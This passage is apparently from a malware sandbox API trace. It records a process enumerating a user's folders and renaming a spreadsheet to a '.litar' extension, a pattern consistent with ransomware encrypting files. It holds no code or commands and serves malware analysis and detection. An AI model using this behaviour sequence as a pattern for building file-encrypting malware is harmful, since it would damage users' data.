lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.461] CloseHandle (hObject=0x624) returned 1 [0125.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.461] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.461] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ys koK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys kok.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ys koK.xlsx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys kok.xlsx.litar")) returned 1 [0125.462] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.462] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.463] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe125dc90, ftCreationTime.dwHighDateTime=0x1d4f5ce, ftLastAccessTime.dwLowDateTime=0x9e23f330, ftLastAccessTime.dwHighDateTime=0x1d4fc01, ftLastWriteTime.dwLowDateTime=0x9e23f330, ftLastWriteTime.dwHighDateTime=0x1d4fc01, nFileSizeHigh=0x0, nFileSizeLow=0xc31c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ys koK.xlsx", cAlternateFileName="YSKOK~1.XLS")) returned 0 [0125.463] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.463] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.463] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.464] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.465] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0125.465] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.465] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.465] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.465] PathFindFileNameW (pszPath="") returned="" [0125.465] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.465] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.465] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0125.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.466] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.466] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.466] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.466] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0125.466] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.466] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.466] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.466] PathFindFileNameW (pszPath="") returned="" [0125.466] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0125.466] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0125.467] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.467] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.467] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.467] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0125.467] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.467] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.467] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.467] PathFindFileNameW (pszPath="") returned="" [0125.467] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.467] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.467] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0125.467] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0125.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0125.468] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0125.468] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0125.468] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0125.468] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0125.468] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0125.468] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.468] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.468] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.468] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0125.468] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.468] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.468] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.468] PathFindFileNameW (pszPath="") returned="" [0125.468] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0125.469] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.469] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0125.469] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.469] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.469] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.469] PathFindFileNameW (pszPath="") returned="" [0125.469] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c7c5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c7c5d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.469] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c7c5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c7c5d0, 